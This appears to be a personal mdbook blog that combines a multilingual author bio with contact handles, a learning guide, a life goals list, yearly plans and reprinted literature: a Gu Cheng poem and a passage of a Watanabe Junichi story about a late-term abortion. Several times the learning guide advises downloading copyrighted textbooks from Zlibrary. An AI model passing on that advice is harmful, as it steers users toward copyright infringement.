南国微雪的自述

必应每日壁纸 | Bing Daily Wallpaper

Chinese（中文，简体）

　　你好！我是南国微雪，本科毕业生，主攻计算机科学与技术，目前工作在中国农业发展银行（ADBC）。

　　兴趣使然之下建立了这个博客，用于记录生活中的一切。包含计算机技术，但更多内容写给生活。

　　热爱文学、技术、街舞，努力进修绘画、音乐、心理和经济。因不才学识浅薄，才疏学浅，本博客和 TG 频道多用中文写就。部分英文内容为工作需要，其他英文、日文和法文内容均为一时兴起，若有错误，望请原谅。

　　如果您对我感兴趣，请不吝赐教，本人定当感激不尽。因为博客不常更新，如果希望看到更多内容，请加入 Telegram 频道。

　　因 mdbook 的简洁易用而选择了此静态站点框架。源代码位于页面右上角 Github 处。

　　联系方式位于本文末尾。

English（English）

　　Hi! I'm TinySnow, a bachelor's degree graduate, majoring in computer science and technology, and currently working at the Agricultural Development Bank of China (ADBC).

　　Because of interest, I established this blog to record everything in my life. Contains modern technology, but more content is written for life.

　　Love literature, technology, street dance, and strive to study painting, music, psychology and economics. Due to my limited language knowledge, this blog and TG channel are mostly written in Chinese. Part of the English content is for work, and other English, Japanese and French content are on a whim. If there are any mistakes, please forgive and correct me.

　　If you are interested in me, please do not hesitate to contact me, I will definitely be happy and grateful. Since the blog is not updated frequently, if you want to see more content, please join the Telegram channel.

　　This static site framework was chosen for the simplicity and ease of use of mdbook. The source code is on Github in the upper right corner of the page.

　　Contact information is at the end of this article.

Japanese（日本語）

　　こんにちは！Miyuki です。コンピュータ サイエンスとテクノロジーを専攻し、学士号を取得しており、現在は中国農業開発銀行 (ADBC) で働いています。

　　興味があったので、このブログを立ち上げて、見えるすべてを記録してつもりです。現代のテクノロジーが含まれていますが、より多くのコンテンツが生涯にわたって書かれています。

　　文学、テクノロジー、ストリートダンスを愛し、絵画、音楽、心理学、経済学の研究に努めています。私の限られた言語知識のために、このブログとTGチャンネルはほとんど中国語で書かれています。英語のコンテンツの一部は仕事用であり、他の英語、日本語、フランス語のコンテンツは気まぐれです。間違いがありましたら、ご容赦ください。

　　興味のある方はお気軽にご連絡ください。絶対楽しいになります。ブログは頻繁に更新されないので、もしもっと多くのコンテンツを見たいなら、Telegramチャンネルに参加してください。

　　この静的サイトフレームワークは、mdbookのシンプルさと使いやすさのために選択されました。ソースコードは、ページの右上隅にあるGithubにあります。

　　連絡先情報はこの記事の最後にあります。

French（Français）

　　Salut! Je suis TinySnow, diplômé d'une licence, spécialisé en informatique et technologie, et je travaille actuellement à la Banque de développement agricole de Chine (ADBC).

　　Par intérêt, j'ai créé ce blog pour enregistrer tout dans ma vie. Contient une technologie moderne, mais plus de contenu est écrit pour la vie.

　　Aime la littérature, la technologie, la danse de rue et s'efforce d'étudier la peinture, la musique, la psychologie et la économie. En raison de mes connaissances linguistiques limitées, ce blog et cette chaîne TG sont principalement écrits en chinois. Une partie du contenu en anglais est destinée au travail, et les autres contenus en anglais, japonais et français sont sur un coup de tête. S'il y a des erreurs, veuillez m'en excuser et me corriger.

　　Si vous vous intéressez à moi, n'hésitez pas à me contacter, je serai certainement heureux et reconnaissant. Étant donné que le blog n'est pas mis à jour fréquemment, si vous souhaitez voir plus de contenu, veuillez rejoindre la chaîne Telegram.

　　Ce framework de site statique a été choisi pour la simplicité et la facilité d'utilisation de mdbook. Le code source se trouve sur Github dans le coin supérieur droit de la page.

　　Les coordonnées sont à la fin de cet article.

联系方式 | Contact | 連絡先 | Les coordonnées

　　Telegram：http://t.me/TinySnow4Yi

　　Outlook：ancielin+blog@outlook.com

　　Foxmail：lo.tinysnow.ol@foxmail.com

　　LineID：lo.tinysnow.ol

　　Twitter：ITinySnowI

　　Wechat Media Platform（微信公众号）：微雪寻觅

最近更新 | Last Updated

Prenote

NOTICE: This content is presented as `git diff`.

SUMMARY.md


@@ -8,6 +8,7 @@
 - [杂记 | Sundry](杂记.md)
 -----
 - [每日一文 | Daily Article](每日一文/每日一文.md)
+  - [十二岁的广场 - 顾城](每日一文/十二岁的广场%20-%20顾城.md)
   - [扼杀胎儿 - 渡边淳一](每日一文/扼杀胎儿%20-%20渡边淳一.md)
   - [幸福的与被幸福的 - 刘瑜](每日一文/幸福的与被幸福的%20-%20刘瑜.md)
   - [邻居 - 托拜厄斯 · 沃尔夫](每日一文/邻居%20-%20托拜厄斯%20·%20沃尔夫.md)

十二岁的广场 - 顾城.md


@@ -0,0 +1,85 @@
+# 十二岁的广场
+
+*顾城*
+
+　　我喜欢穿
+
+　　旧衣裳
+
+　　在默默展开的早晨里
+
+　　穿过广场
+
+　　一蓬蓬郊野的荒草
+
+　　从空隙中
+
+　　无声地爆发起来
+
+　　我不能停留
+
+　　那些瘦小的黑蟋蟀
+
+　　已经开始歌唱
+
+　　我只有十二岁
+
+　　我垂下目光
+
+　　早起的几个大人
+
+　　不会注意
+
+　　一个穿旧衣服孩子
+
+　　的思想
+
+　　何况，鸟也开始叫了
+
+　　在远处，马达的鼻子不通
+
+　　这就足以让几个人
+
+　　欢乐或悲伤
+
+　　谁能知道
+
+　　在梦里
+
+　　我的头发白过
+
+　　我到达过五十岁
+
+　　读过整个世界
+
+　　我知道你们的一切——
+
+　　夜和刚刚亮起的灯光
+
+　　你们暗蓝色的困倦
+
+　　出生和死
+
+　　你们的无事一样
+
+　　我希望自己好看
+
+　　我不希望别人
+
+　　看我
+
+　　我穿旧衣裳
+
+　　风吹着
+
+　　把它紧紧按在我的身上
+
+　　我不能痛哭
+
+　　只能尽快地走
+
+　　就是这样
+
+　　穿过了十二岁
+
+　　长满荒草的广场
\ No newline at end of file

各领域入门 | How to Learn

前提・Premise

  • This article is Chinese(Simplified) only.
  • 本文章只使用简体中文。

写在前面

  • 本文章针对笔者所接触的领域，提出最适合入门的最简方案。
  • 最适合入门的方案，定义如下：
    • 说人话，而非术语；
    • 自顶向下，能够总览整个领域，产生概念；
  • 附带资料，不必寻找。
  • 可能会时常修正。

正文

计算机

  1. 整体认知计算机：
  1. 编程语言入门：
  1. 深入理解计算机：
  1. 学习至此，可根据自身情况选择性继续
    • TODO

摄影

心理学

日语

  • 日语语法指南
  • 中日交流新标准日本语（初级-高级 系列教材）
    • 从 Zlibrary 上面下载

法语

  • 你好！法语（A1-C2 系列教材）
    • 从 Zlibrary 上面下载
    • 不要下载教师用书

医学

  • 默克家庭诊疗手册
    • 家庭医学普及版
    • 也可以从 Zlibrary 上面下载
  • 人民卫生出版社系列教材
    • 系统解剖学
    • 生理学
    • 病理学
    • 药理学
    • 内科学
    • 外科学
    • 病理生理学
    • 注意
      • 蓝色生死恋系列很多，不要全看，看不完
      • 看上面最主要的几本

人际关系学

  • 亲密关系（第六版）- 罗兰 · 米勒
    • 从 Zlibrary 上面下载
  • 非暴力沟通 - 马歇尔 · 卢森堡
    • 从 Zlibrary 上面下载

金融经济

  • 半小时漫画经济学（生活常识篇，金融危机篇）
    • 追求趣味性建议阅读
  • 曼昆经济学原理（宏观经济和微观经济，两分册）
    • 从 Zlibrary 上面下载
  • 银行业从业资格证科目系列教材
    • 从 Zlibrary 上面下载

哲学

  • 大问题：简明哲学导论（第十版）
    • 从 Zlibrary 上面下载

作曲编曲

管理学

美妆

  • TODO

写在后面

  • 强烈建议将上述学习资料存档，以防失效。

梦想清单 | Dream List

修订

  • 形成于高一（2016 年）
  • 最后修正于大四（2023 年）

清单

    • 去往同一所大学；（于 2019.9.1 失败）
    • 跑步公里数总计 300 公里；（于 2023.4.4 完成）
    • 主厨或帮厨做成一次全宴；（于 2022.6.5 完成：轰趴馆）
    • 20 首以上原创诗歌；（于 2021.11.30 完成）
    • 30 篇小说；（于 2022.10.5 完成）
    • 日语 N3 等级；
    • 5 幅以上插画；
    • 10 件不同风格的衣服；（于 2023.5.5 完成）
    • 无偿捐赠一次；
  • （于 模糊时间 完成：忧郁的弟弟）
  • （于 2021.10.8 完成：Zlib.org）
    • 恋爱一次；（于 2021.9.16 - 2021.10.11 完成：佳芯小姐）
    • 作曲编曲一首；（于 2023.11.21 完成 ）
    • 参加一次街舞比赛；
    • 编写一个自己的网站；（于 2022.7.23 完成：博客 ）
    • 游玩一款游戏 2 遍以上；（于 2022.7.30 完成：Terraria）
    • 用 PR 剪一次作品；
    • 洗牙一次；（于 2021.2.3 完成）
    • 去一次法国巴黎；
    • 去一次日本北海道周围或者东京都；
    • 拥有一台相机；（于 2023.2.26 完成）
    • 为喜欢的人梳一次头发；
    • 跑一次半马；
  • （于 2023.6.14 完成）
  • （于 2024.3.22 完成）
    • 乘坐一次飞机；
  • （于 2023.5.18 完成）
  • （于 2023.5.25 完成）
    • 看一次海；
  • （于 2023.5.19 完成）
  • （于 2023.5.21 完成）
    • 自驾带家人去川西旅游一次。

年度计划 | Year Plan

2024 年

  • 练习会唱：《カタオモイ》《心拍数♯0822》
    • カタオモイ
    • 心拍数♯0822
  • 日语语法指南 看完（2024.1.23）
  • 《Baba is You》三个大关卡
    • 一个（2024.1.6）
    • 两个（2024.1.7）
    • 三个（2024.1.8）
  • 《黑神话：悟空》通关
  • 【延续自 2023】Rust 的 Spring Boot 代码生成器 基础功能
    • 读取 JSON 配置文件
    • 根据 Test.hbs 文件生成 Test.java 文件
    • 连接 MySQL 数据库
    • 读取数据库表反向生成 java 文件
    • 自定义输出文件夹
    • 自定义输出层级目录
  • 跑步 100 公里（2024.3.26）
  • 存到能买起 99 新 E 18-135mm f3.5-5.6 OSS 镜头的钱（2024.4.19）
  • 87 个 Hiphop 元素基础动作（非进阶叠加）
    • Running Man
    • BK Bounce
    • Crab
    • Happy Feet
    • Patty Duke
    • Yeek
    • Kick
    • Party Machine
    • Walk it Out
    • Walk Out
    • Prep
    • Wu-Tang
    • The Wop
    • The Box Step
    • The Camel Walk
    • Sponge Bob
    • Typewriter
    • ATL Stomp
    • Reject
    • Jerk
    • Charleston
    • Kid 'N Play
    • TLC
    • Biz Markie
    • Janet Jackson
    • James Brown
    • LL Cool J
    • Jerry Lewis
    • Marge Step
    • Upstairs Downstairs
    • Toss it Up
    • Let it Rain
    • Chicken Noodle Soup
    • Get Lite
    • Steve Martin
    • Reebok
    • Cabbage Patch
    • Gucci
    • Skate
    • The Hummpty Dance
    • Stomp
    • Popcorn
    • Rock Off
    • Shamrock
    • Guess
    • Smurf
    • Rooftop
    • Funky 4 Corners
    • Cat Daddy
    • Roger Rabbit
    • Baseball Step
    • Monastery
    • Mike Tyson
    • Gigolo
    • Badman
    • Robocop
    • Bart Simpson
    • Pepper Seed
    • The Fila
    • The ALF
    • Harlem Shake
    • Bankhead Bounce
    • Superman
    • Horse Dance
    • Heel Toe
    • Crazy Legs
    • Creep
    • Dougie
    • C-Walk
    • Aunt Jackie
    • Arm Wave
    • Body Wave
    • Snake
    • Stick&Roll
    • Water Dance
    • Butterfly
    • Funky Water Gate
    • Cherry Hill
    • Dipin
    • Side Glide
    • India Step (Cross Over)
    • Diddy Bop
    • Diddy Dance
    • Roller Skate
    • Mary J
    • Brooklyn
    • Bedrock
  • 【延续自 2023】计算机科学极简入门指南（至少）计算机组成原理部分
    • 第一章：计算机的历史
    • 第二章：计算机的构成
    • 第三章：简单逻辑门
    • 第四章：负数与减法
    • 第五章：乘法与除法
    • 第六章：算术逻辑单元
    • 第七章：存储器
    • 第八章：控制器
    • 第九章：指令系统
    • 第十章：中央处理器
    • 第十一章：总线
    • 第十二章：指令流水线
    • 第十三章：输入输出系统
    • 第十四章：计算机组成原理
  • 《药理学》
    • 第一章 药理学总论一绪言（2024.1.14）
    • 第二章 药物代谢动力学（2024.2.1）
    • 第三章 药物效应动力学（2024.1.26）
    • 第四章 影响药物效应的因素（2024.1.31）
    • 第五章 传出神经系统药理概论（2024.2.3）
    • 第六章 胆碱受体激动药（2024.2.3）
    • 第七章 抗胆碱酯酶药和胆碱酯酶复活药（2024.2.3）
    • 第八章 胆碱受体阻断药(I)-M 胆碱受体阻断药（2024.2.4）
    • 第九章 胆碱受体阻断药(II)-N 胆碱受体阻断药（2024.2.4）
    • 第十章 肾上腺素受体激动药（2024.2.14）
    • 第十一章 肾上腺素受体阻断药（2024.2.15）
    • 第十二章 中枢神经系统药理学概论（2024.2.15）
    • 第十三章 全身麻醉药（2024.2.16）
    • 第十四章 局部麻醉药（2024.2.15）
    • 第十五章 镇静催眠药（2024.2.16）
    • 第十六章 抗癫痫药和抗惊厥药（2024.2.18）
    • 第十七章 治疗中枢神经系统退行性疾病药（2024.2.22）
    • 第十八章 抗精神失常药（2024.2.21）
    • 第十九章 镇痛药（2024.3.9）
    • 第二十章 解热镇痛抗炎药（2024.3.9）
    • 第二十一章 离子通道概论及钙通道阻滞药
    • 第二十二章 抗心律失常药（2024.3.26）
    • 第二十三章 作用于肾素-血管紧张素系统的药物
    • 第二十四章 利尿药
    • 第二十五章 抗高血压药
    • 第二十六章 治疗心力衰竭的药物（2024.4.4）
    • 第二十七章 调血脂药与抗动脉粥样硬化药（2024.4.17）
    • 第二十八章 抗心绞痛药（2024.4.12）
    • 第二十九章 作用于血液及造血系统的药物
    • 第三十章 影响自体活性物质的药物
    • 第三十一章 作用于呼吸系统的药物
    • 第三十二章 作用于消化系统的药物
    • 第三十三章 子宫平滑肌兴奋药和抑制药
    • 第三十四章 性激素类药及避孕药
    • 第三十五章 肾上腺皮质激素类药物
    • 第三十六章 甲状腺激素及抗甲状腺药
    • 第三十七章 胰岛素及其他降血糖药
    • 第三十八章 抗骨质疏松药
    • 第三十九章 抗菌药物概论
    • 第四十章 β-内酰胺类抗生素
    • 第四十一章 大环内酯类、林可霉素类及多肽类抗生素
    • 第四十二章 氨基苷类抗生素
    • 第四十三章 四环素类及氯霉素类
    • 第四十四章 人工合成抗菌药
    • 第四十五章 抗病毒药和抗真菌药
    • 第四十六章 抗结核药及抗麻风病药
    • 第四十七章 抗寄生虫药
    • 第四十八章 抗恶性肿瘤药
    • 第四十九章 影响免疫功能的药物
  • 编曲一首：主歌副歌体音乐
    • 作曲教程第三章
    • 作曲教程第四章
    • 主歌副歌体音乐

2023 年

  • 【未完成：进展 97/485】 pwn college 完成
  • 【未完成】Rust 的 Spring Boot 代码生成器
  • 【未完成：进展 7/14】计算机极简入门指南 计算机组成原理部分
  • 【已完成】作曲编曲一首
  • 【已完成】开发排版助手

杂记 | Sundry

感悟

  1. 社会的本质是交换，永远利益优先。
  2. 人们会为痛点付费，不会为干货付费。
  3. 温柔是一种能力，开心是一项技能，共情是一种本领。
  4. 但行好事，莫问前程。
  5. 直面残酷的现实，才有成长的可能。
  6. 交易必定有买卖双方。
  7. 经济学是一门残酷的学科。
  8. 好好吃饭，好好运动，好好睡觉。

问题总表

Hardware

  • PCB
  • PLC

Kotlin

  • 密闭类
  • 超级密闭类
  • 泛型
  • 协程内部实现原理
  • 协程 yield
  • Kotlin - io 对象缓存池

Rust

  • 流程控制 -> match 匹配 -> 指针和引用
  • 泛型 -> 虚类型参数
  • 使用 macro_rules! 创建宏 -> DRY

Linux

  • systemctl 相关配置
    • 尤其自启动
  • 查看用户执行的历史命令
  • scp 传输命令
  • find 命令

宏观经济学

  • 货币政策和财政政策带来的影响
  • 宏观经济调控
  • 量化宏观经济的指标

考试

其他

  • 为什么科学上网工具会修改本地 DNS 解析？

每日一文

收录所有每天读到的文章。多为短文，非原创。

每日短文地址：https://meiriyiwen.com

十二岁的广场

顾城

　　我喜欢穿

　　旧衣裳

　　在默默展开的早晨里

　　穿过广场

　　一蓬蓬郊野的荒草

　　从空隙中

　　无声地爆发起来

　　我不能停留

　　那些瘦小的黑蟋蟀

　　已经开始歌唱

　　我只有十二岁

　　我垂下目光

　　早起的几个大人

　　不会注意

　　一个穿旧衣服孩子

　　的思想

　　何况，鸟也开始叫了

　　在远处，马达的鼻子不通

　　这就足以让几个人

　　欢乐或悲伤

　　谁能知道

　　在梦里

　　我的头发白过

　　我到达过五十岁

　　读过整个世界

　　我知道你们的一切——

　　夜和刚刚亮起的灯光

　　你们暗蓝色的困倦

　　出生和死

　　你们的无事一样

　　我希望自己好看

　　我不希望别人

　　看我

　　我穿旧衣裳

　　风吹着

　　把它紧紧按在我的身上

　　我不能痛哭

　　只能尽快地走

　　就是这样

　　穿过了十二岁

　　长满荒草的广场

扼杀胎儿

渡边淳一

一

　　“幸坂医生，您的病房来了个新病人。”

　　幸坂医生一到护士值班室，护士长松浦茂子就对他说。

　　“是几号病房？”

　　“312 室。病人叫佐野久美子。”

　　护士长从病历卡柜子里取出一份崭新的病历。今天是星期五，下午正好没有手术，护士们不太忙，一起围坐在中间的大桌子边上叠纱布。

　　“才二十一岁啊。”

　　“乍一看还是个孩子呢，真不能想象，肚子都那么大了。”护士长回答。

　　突然，幸坂大声叫起来：“这是怎么回事？”

　　“怎么了？”

　　“要做引产？”

　　“好像这样的。”

　　“是谁让这么做的？”

　　“是井田医生给看的门诊，病历上有井田医生的签名。”

　　“井田医生？”

　　“幸坂又重新查看了一遍病历，在住院病历后夹着一份门诊病历。

　　“住院，人工终止妊娠。”

　　病历上写得明明白白，后面是主任医生井田的签字：“DR.K.IDA。”

　　“有什么不妥当吗？”

　　“不是妥当不妥当的事，妊娠八个月了。”

　　“是啊。”

　　“什么是啊！将一个已经八个月大的胎儿终止妊娠，你知道这会有什么结果？”

　　护士长不吭声，眼睛看着手中的住院预约单。

　　“井田医生，不会是疯了吧？”

　　“您怎么能这么说……”护士长责备道。

　　井田是比幸坂年长十多岁的前辈，在这所城东医院任妇产科主任。幸坂中是一个年轻的医生，刚从大学毕业两年。幸坂实在想不明白，像井田这样经验丰富的老医生，居然会那么轻易地决定将八个月的胎儿引产。

　　“会不会是搞错了。”

　　“可是病人自己打算要堕胎，对吧，内山？”

　　护士长问身后叠纱布的年轻护士。

　　“刚才我给她去送住院手术单，她还问什么时候手术。”

　　“原来是这样，所以今晚要放水囊球。”

　　所谓水囊球，就是在软的橡皮球上连上橡皮管，在给妊娠月份较大的胎儿做人工流产时，将它放入子宫，等待子宫口张口。根据妊娠月份的不同，水囊球放入的时间也不同，如果是五个月左右的胎儿，大概需要插入两天左右，当子宫口张开时，就可将胎儿引产。

　　“八个月的胎儿基本都已经足月了，怎么还可以打胎呢？”

　　幸坂上大学时，从没学过给八个月的胎儿打胎，只听说有八个月的早产，还没听说过八个月做人流的。

　　“这也太胡闹了吧，护士长，你说是不是？”

　　护士长今年四十一岁。她二十岁正式当护士，一直在这家医院，五年前升任为妇产科护士长，是一个经验丰富的老护士。幸坂说话的口气完全是医生对护士居高临下的态度，但要论经验，年轻的幸坂比起护士长来实在是望尘莫及的。

　　“我也没听说过妊娠八个月做人流的，但那是井田医生的决定。”

　　“就算是井田医生的决定，也太出格了吧？”

　　也许是碍于井田主任，护士长不正面回答。

　　“这事要在医科大学，非得被教授画鸭蛋了。”

　　幸坂觉得自己年轻，所以护士长没把自己当回事，于是就把大学搬出来，可是，护士长依然不做声。

　　“这太叫人吃惊了，我怀疑井田医生还有没有基本常识。”

　　“但井田医生一定有他自己的想法才这么决定的。”

　　“不管是什么想法，总不能给八个月的胎儿引产，这胎儿已经五官分明，现在生下来完全就可以存活的了。”

　　“我不知道，这是井田医生的批示，你去问井田医生吧。”

　　“我当然要问，不管是谁，我不会由他胡来的。”

　　幸坂说完，拿起病历奔了出去。

二

　　这所城东医院，原来是一家慈善医院，开在低收入者比较集中的地区，后来移交给了东京都。医院一共有八十个床位，作为公立的综合医院来说规模不算大。

　　但这家医院历史悠久，它建在大正时代，十五年前重建时改为钢筋结构了。如今医院的内墙已经斑斑驳驳，相当陈旧，但它地处低收入者人口集中的地段，而且交通便利，所以经常挤满了患者。

　　妇产科主任井田敬一郎是六年前来到这家医院的。之前，井田在 M 大学医院的妇产科当副教授，不知什么原因，他突然辞了职，来到这所城东医院。谁都搞不明白，眼看就能升教授的井田，为什么突然辞去大学医院的职位，跑到这么个虽说是公立，但规模不大的小医院。

　　当时有种传说，说是他太优秀了，所以被教授排挤，也有的说是他受够了大学里的论资排辈，但这些都仅仅是传说而已，从没得到他本人的证实。

　　对此，井田本人只是笑笑，说是为了换换心境，但大家一致公认对城东医院来说，井田是有点大材小用了。

　　井田今年四十五岁，作为一个妇产科医生来说，正值黄金年龄。一些大学医院的年轻医生，慕名来找井田医生学习，他们觉得，与其在大学对着那些老资格医生低头哈腰，不如跟着井田主任，这样既能迅速学到东西，又心情舒畅。

　　幸坂从大学转到这家医院，也是冲着井田主任来的。他希望能跟着井田一起问诊、手术，让自己尽快成为一个可以独当一面的医生。

　　可是这个井田居然要让一个八个月的胎儿流产，这个决定按常规来说实在太离谱了，别说幸坂，谁听了都会吃惊的。

　　幸坂拿着病历，径直来到三楼的主任办公室。

　　“怎么啦？”

　　看见幸坂神色严峻地闯了进来，井田放下手里的书。

　　“这个，您知道吗？”

　　幸坂把病历递给了井田。

　　“今天住院的佐野久美子。”

　　“知道。”

　　“你看看这处置，住院，中止妊娠。”

　　井田医生拿起病历：“这又怎么了？”

　　“这人已经妊娠八个月了。”

　　“好了，你坐下。”

　　井田医生好像明白幸坂想说什么了。他示意幸坂在对面的椅子上坐下，接着从口袋里掏出香烟。

　　“这是您写的吧？”

　　“是我决定的。”

　　井田拿起桌子上的打火机点上烟，吸了一口回答。

　　“从医学常识来讲，正如你说的，将妊娠八个月的胎儿中止妊娠做引产手术，的确不太多见。”

　　幸坂听到自己的想法得到认可，松了口气似的。

　　“但这只是一个原则。”

　　“那您是说，这个患者不适用这个原则？”

　　“是的。”

　　“为什么？”

　　“你给病人诊断过了吗？”

　　“没有。”

　　幸坂哑口无言。自己既然是那位患者的床位医生，那么首先应该对患者进行诊断。即使有不同意见也应该在做出诊断的基础上提出来，不做诊断便跑来兴师问罪也太轻率了。

　　“刚才我在值班室看到病历，吃了一惊……”

　　“事实上，那个患者还是个未婚女孩。”

　　的确，那份病历上配偶那栏是空白的，妊娠史，生产史都写着“无”。

　　“可是，既然她怀孕了，总该有个人来承担责任的吧。”

　　“说的是，可不知道这个人现在在哪里。”

　　“这是什么意思？”

　　“你可以去问她，听说是走了，再也没回来。”

　　“就算是这样，给八个月的胎儿引产中止妊娠可是犯了大忌的。”

　　“大忌？”井田手里拿着烟低声重复。

　　“且不说三、四个月的胎儿，一个八个月的胎儿是完全可以存活的了，就这样悄悄地手术给葬送了，万一被告发了，是要受到法律惩罚的。”

　　“嗯……”

　　“也许这些话不该是我这种无名小卒说的，但是优生保护法规定只有三种情况可以做人工流产，一是父母有遗传疾病的，二是母亲因病无法承受妊娠，再就是经济情况极其困难，无法抚养孩子。”

　　“你说的完全没错。”

　　“那你是说，她符合其中的哪一条？”

　　“很遗憾，她不符合其中的任何一条。”

　　“那你是准备无视法律喽。”

　　“嗯，这个嘛……”

　　“请你解释一下。”

　　幸坂第一次用这种剑拔弩张的口吻对井田主任说话。他也觉得自己是不是有点说过火了，但话已经从嘴里冲了出去，再说他想自己的确没说错。

　　就算他是主任医生，自己有必要伸张主义的。

　　“要是触犯法律，你打算怎么办？”

　　“那我就说胎儿不足八个月。”

　　“你说什么？”

　　“如果把它作为三、四个月的胎儿，那就是常见的人工流产手术。”

　　“你怎么可以……”幸坂愣住了，自己一向敬重的前辈居然会这么说，这对他的打击实在不小，这哪里还像是个医生的所作所为。

　　“那太卑鄙了。”

　　“也许吧。”

　　“主任！”

　　幸坂真的义愤填膺了，他生气井田竟然无视法律，要把一个八个月的胎儿引产中止妊娠，更气愤的是被自己指责为卑鄙时，井田还若无其事，轻描淡写地来句“也许吧”。他憋足了气要和井田理论个明白，可井田的态度，却让他猝不及防地扑了个空。

　　“你疯了吗？”

　　“没有，我很清醒。”

　　“总之，我坚决反对做这个手术。”

　　“那还真不好办，我原想今晚请你给她放置水囊球呢。”

　　“这么残酷，毫无人性的事，我不会做的。”

　　“那么就让野川君上吧。”

　　野川比幸坂高三届，在妇产科井田主任手下只有野川和幸坂两位医生，住院病人也是由他俩分别担任床位医生的。井田除了朋友或托关系介绍来的病人，基本不直接担任床位医生。

　　“野川医生如果知道是这么个情况，他也会反对的。”

　　“这个我就不清楚了。”

　　“你如果去问大学医院的教授，他们肯定也说这个手术不能做。”

　　“那当然，他们只会死抠课本，根本不了解病人的实际情况。”

　　“不，这和病人的实际情况根本无关，戮杀一个八个月的健康胎儿是不人道的，是一个人道主义医生不该做的。”

　　“人道主义？”井田用手抵着下颚，兴味索然地喃喃道。

　　“我没想到你是这么个不负责任，草菅人命的医生。”

　　“你可以随便怎么看我，我想知道的是，这个放置水囊球的活，你是肯定不干喽？”

　　“很抱歉……”

　　“好吧。”

　　“如果你对我不满意可以开除了。”

　　“不，我不会开除你。”

　　“为什么？”

　　“要是每次被人反对，我都开除他，那么有再多的医生都不够用了。”井田站起来身来说。“你的意思我知道了，我想，你还是去见见病人，和她好好聊一聊。”

　　“即使谈了，事情还是这样，我不会赞成这个手术的。”

　　幸坂说着，施了个礼，快步走出井田的房间。

三

　　虽说在主任面前说得酣畅淋漓，幸坂对 312 病房的患者还是放心不下。

　　反对归反对，为什么八个月还要中止妊娠，这个患者究竟遇到什么事了，幸坂觉得自己有必要直接了解一下。

　　出了主任的办公室，幸坂径直来到 312 病房。

　　这病房是六个人的房间，新来的病人躺在右边最靠床的床上。

　　“你是佐野久美子？”

　　幸坂问，病人在床上点头，随即她整了整衣领坐了起来。

　　她个子不高，脸瘦瘦的，到底是有八个月的身孕，看得出她下半身已经很沉重了。

　　不了解情况的，一定以为她是来住院生孩子的，谁都不可能料到她是来引产中止妊娠的。

　　“因为要做一份住院病历，所以有些情况我想问你。”

　　佐野久美子老实地点点头。

　　“请你到护士值班室旁边的门诊室来吧。”

　　幸坂考虑到大病房里还有其他病人，虽然她八个月了要做引产，一定有什么难言的苦衷，如果旁人在场，病人可能就不愿如实相告，那么在门诊室的话，没有旁人在场，她会放心地说出真相。

　　佐野久美子十分钟后出现在护士值班室边上的门诊室里，她在碎花和服处面套了一件红条睡袍。佐野久美子躺在床上时显得身体娇小，这会儿站起身来个子高高的，这就是说，她的腿应该很长，如果没怀孕的话，身材一定很不错。

　　门诊室的右边挂着布帘子，帘子后面是检查床，床边放着简单的桌椅。

　　看见佐野久美子怯怯地进来，幸坂示意她在桌子前的椅子上坐下，佐野久美子环顾了下四周，拖着身怀六甲的身子坐了下来。

　　幸坂第一次从正面仔细打量着佐野久美子，她高鼻子，双眼皮，头发从正中朝两侧分开，短发齐肩，发梢稍稍打着卷。

　　只看她的脸，简直还是个少女模样，但她面容倦怠的神情，呼吸时肩膀微微一上一下的样子，都证明她是个百分百的孕妇了。

　　看着眼前这位无助、令人怜惜的女孩，幸坂觉得让她把八个月的胎儿引产，那实在是犯罪，对井田的决定，不由得又气愤起来。

　　“作为医生，我可能要问一些涉及你个人隐私的问题，请你如实回答。”

　　“是。”

　　佐野久美子的声音轻得几乎听不见。

　　和这么年轻的患者单独谈话，幸坂是有点顾虑的。他是医生，和患者没有任何感情纠纷，但病人有时会觉得医生太年轻，不愿开诚布公说出自己真实的想法。

　　从这点来讲，作为妇产科医生，年龄大一点就比较有利，可这会儿，幸坂顾不得许多了。

　　幸坂点上烟，开始了他的问题。

　　“你要做的是中止八个月妊娠的手术，这是你自愿的吗？”

　　佐野久美子双手放在膝盖上，点点头。

　　“你不想把它生下来？”

　　“……”

　　“再过一个多月，一个健康的婴儿就呱呱落地了啊。”

　　佐野久美子不回答，她低着头，白晳的脖子隐约可见。

　　幸坂觉得再追问下去有点残酷，于是改变话题。

　　“你老家在沼津，你离开家乡来到东京，在 K 商事工作？”

　　“是的。”

　　“请原谅，能告诉我他是干什么的吗？”

　　“在一个乐队做。”

　　“那么是在什么俱乐部做的吧？”

　　“是的。”

　　“你和他好上后怀了孩子，那么现在他人呢？”

　　“他不在这里。”

　　“去哪里了？”

　　“开始是去了新泻。”

　　“跑得够远的。”

　　“搞音乐的经常四处漂泊。”

　　“他知道你怀孕了吗？”

　　她微微点头。

　　“知道了，也不回来？”

　　“八月份回来过一次，但又走了。”

　　“你和他同居过？”

　　“四月份前我们在一起，后来他就不回来了……”

　　“他没说这孩子怎么办吗？”

　　“……”

　　“他什么也不说？”

　　“他说，随你便……”

　　“他有钱寄来吗？”

　　“没有。”

　　“既不寄钱回来，想走就走，孩子的事也不闻不问，天下怎么有这种不负责任的男人。”

　　容易冲动的幸坂，生起气来。

　　“你不知道他原来是这么个不负责任的人？”

　　“……”

　　“开始可能不了解，认识一段时间后，你应该有所察觉的呀。”

　　“是。”

　　“既然知道他不负责任，为什么不马上做人流手术呢，你应该知道三、四个月的话手术会简单得多。”

　　佐野久美子低着头，过了半晌说：“他有一次说，那就生下这孩子吧。”

　　“什么时候？”

　　“六月份……”

　　六月份，应该正是怀孕三个月左右，如果做流产，那是最合适的时候。

　　“那以后，他又说随你便，而且再也没回来。”

　　“不过他有时候也回来。”

　　“回来时，他又说让你生下孩子？”

　　“他没有这么明确说……”

　　“于是你拿不定主意，犹豫了。”

　　从她的话里可以推测，自初夏开始，整个夏天她内心一直犹豫挣扎，考虑生还是不生。

　　“就算是这样，可八月份后他就再也没回来，那时，你为什么不果断一点呢？”

　　尽管是事后诸葛亮，可幸坂实在惋惜，那时候她如果来医院，情况完全会不同的。

　　“那以后，他有时打电话回来。”

　　“他怎么说的呢？”

　　“具体没说什么。”

　　“既不说让你生下来，也不说让你去做人流？”

　　“是的……”

　　“那时候，他人在哪里呢？”

　　“他不肯告诉我。”

　　“那你怎么就不想想，这种男人你等他也是毫无结果的吗？”

　　幸坂又对佐野久美子生起气来，那男人当然是不负责任，可女孩子在那时稍微果断一点的话，也不至于到今天这个地步，她对那男人太抱有幻想了。

　　“你呀，太糊涂了。”

　　佐野久美子被幸坂说得又低下头去。

　　“那么，你这次是真的看穿他啦？”

　　“前些天，我知道他在哪里，去找过他了。”

　　“他在什么地方？”

　　“大森。”

